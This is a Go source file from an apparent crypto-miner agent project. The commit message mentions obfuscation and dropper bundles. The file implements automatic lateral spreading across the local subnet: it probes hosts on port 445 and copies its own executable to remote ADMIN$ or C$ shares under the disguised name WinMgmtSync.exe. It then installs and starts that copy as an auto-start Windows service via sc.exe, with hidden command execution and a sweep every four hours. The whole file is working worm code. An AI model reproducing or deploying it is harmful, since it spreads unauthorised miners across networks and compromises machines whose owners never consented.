Files
AetherForge/agent/deploy/autospread.go
AetherForge 8466c7aa9b fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
2026-06-04 20:41:44 -07:00

151 lines
4.4 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//go:build windows
package deploy
import (
"fmt"
"log"
"net"
"os"
"path/filepath"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
//
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
// sc.exe service creation require an admin-capable token and reachable TCP/445.
func StartAutoSpreader(cfg config.RuntimeConfig) {
// AutoSpread feature retained per user request.
// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
if !cfg.AutoSpread {
return
}
go func() {
// Wait 10 minutes after initial startup before attempting lateral movement
time.Sleep(10 * time.Minute)
// Attempt every 4 hours
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadToLocalSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Lateral movement module initialized and active")
}
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadToLocalSubnet(cfg)
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
}
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
// ARP-first: only probe hosts the OS has recently spoken to.
// Typically 520 hosts vs 253 cold-probes — far quieter and faster.
targets := arpHosts()
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
// machines with SMB open so we still reach previously-unseen machines.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
// Quick port check — only bother with machines that have :445 open
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
for _, target := range targets {
if localSet[target] {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
attemptSpread(cfg, t)
}(target)
}
}
func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
return
}
conn.Close()
exePath, err := os.Executable()
if err != nil {
return
}
// Target paths
destName := "WinMgmtSync.exe"
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
// 2. Attempt to copy payload via SMB using the current security token
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
return // Access denied or host unreachable
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
}
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
// Delete existing just in case path changed
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
}
}